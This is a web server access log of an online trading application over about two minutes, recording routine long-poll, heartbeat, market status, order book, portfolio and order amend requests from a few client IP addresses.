[09/Jan/2026:15:53:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:53:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945459731 HTTP/1.1" -
[09/Jan/2026:15:53:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945462151 HTTP/1.1" -
[09/Jan/2026:15:53:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945464756 HTTP/1.1" -
[09/Jan/2026:15:53:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945467189 HTTP/1.1" -
[09/Jan/2026:15:53:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945469789 HTTP/1.1" -
[09/Jan/2026:15:53:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:53:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1686
[09/Jan/2026:15:53:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:53:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945472340 HTTP/1.1" -
[09/Jan/2026:15:53:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:53:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 319
[09/Jan/2026:15:53:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945474842 HTTP/1.1" -
[09/Jan/2026:15:53:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945477485 HTTP/1.1" -
[09/Jan/2026:15:53:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:53:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:53:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:53:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:53:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945479864 HTTP/1.1" -
[09/Jan/2026:15:53:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945482614 HTTP/1.1" -
[09/Jan/2026:15:53:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945484880 HTTP/1.1" -
[09/Jan/2026:15:53:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:53:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:53:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:53:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:53:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945487672 HTTP/1.1" -
[09/Jan/2026:15:53:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945489904 HTTP/1.1" -
[09/Jan/2026:15:53:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945492731 HTTP/1.1" -
[09/Jan/2026:15:53:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945494939 HTTP/1.1" -
[09/Jan/2026:15:53:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945497855 HTTP/1.1" -
[09/Jan/2026:15:53:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945499982 HTTP/1.1" -
[09/Jan/2026:15:53:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945502967 HTTP/1.1" -
[09/Jan/2026:15:53:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945505031 HTTP/1.1" -
[09/Jan/2026:15:53:57 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "-" -
[09/Jan/2026:15:53:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:53:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:53:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945508131 HTTP/1.1" -
[09/Jan/2026:15:53:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:53:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:54:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945510078 HTTP/1.1" -
[09/Jan/2026:15:54:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945480766 HTTP/1.1" -
[09/Jan/2026:15:54:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945513266 HTTP/1.1" -
[09/Jan/2026:15:54:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:54:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945515113 HTTP/1.1" -
[09/Jan/2026:15:54:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:54:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:54:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1869
[09/Jan/2026:15:54:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:54:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:54:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:54:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:54:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945518340 HTTP/1.1" -
[09/Jan/2026:15:54:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945520150 HTTP/1.1" -
[09/Jan/2026:15:54:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:54:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/buy_ticket.html? HTTP/1.1" 1995
[09/Jan/2026:15:54:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:54:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:54:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:54:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:54:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:54:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:54:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 306
[09/Jan/2026:15:54:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945523481 HTTP/1.1" -
[09/Jan/2026:15:54:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 10
[09/Jan/2026:15:54:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945525177 HTTP/1.1" -
[09/Jan/2026:15:54:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:54:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 306
[09/Jan/2026:15:54:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:54:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 10
[09/Jan/2026:15:54:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945528533 HTTP/1.1" -
[09/Jan/2026:15:54:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945530215 HTTP/1.1" -
[09/Jan/2026:15:54:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945533601 HTTP/1.1" -
[09/Jan/2026:15:54:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945535258 HTTP/1.1" -
[09/Jan/2026:15:54:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:54:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:54:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:54:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:54:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945538858 HTTP/1.1" -
[09/Jan/2026:15:54:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945540308 HTTP/1.1" -
[09/Jan/2026:15:54:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945543949 HTTP/1.1" -
[09/Jan/2026:15:54:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945545338 HTTP/1.1" -
[09/Jan/2026:15:54:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:54:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Amend HTTP/1.1" 126
[09/Jan/2026:15:54:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:54:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:15:54:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:54:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Amend?csrf_nonce=619861B8C8D9FA72EC28DE534924D618 HTTP/1.1" 949
[09/Jan/2026:15:54:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:54:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:54:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:54:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:54:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:54:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1561
[09/Jan/2026:15:54:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:54:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/images/ui-bg_glass_75_e6e6e6_1x400.png HTTP/1.1" 262
[09/Jan/2026:15:54:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945549038 HTTP/1.1" -
[09/Jan/2026:15:54:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:15:54:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:54:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1878
[09/Jan/2026:15:54:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945550375 HTTP/1.1" -
[09/Jan/2026:15:54:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:54:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:54:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945554184 HTTP/1.1" -
[09/Jan/2026:15:54:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945555390 HTTP/1.1" -
[09/Jan/2026:15:54:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945559255 HTTP/1.1" -
[09/Jan/2026:15:54:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945560427 HTTP/1.1" -
[09/Jan/2026:15:54:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:54:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 299
[09/Jan/2026:15:54:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767945564375 HTTP/1.1" -
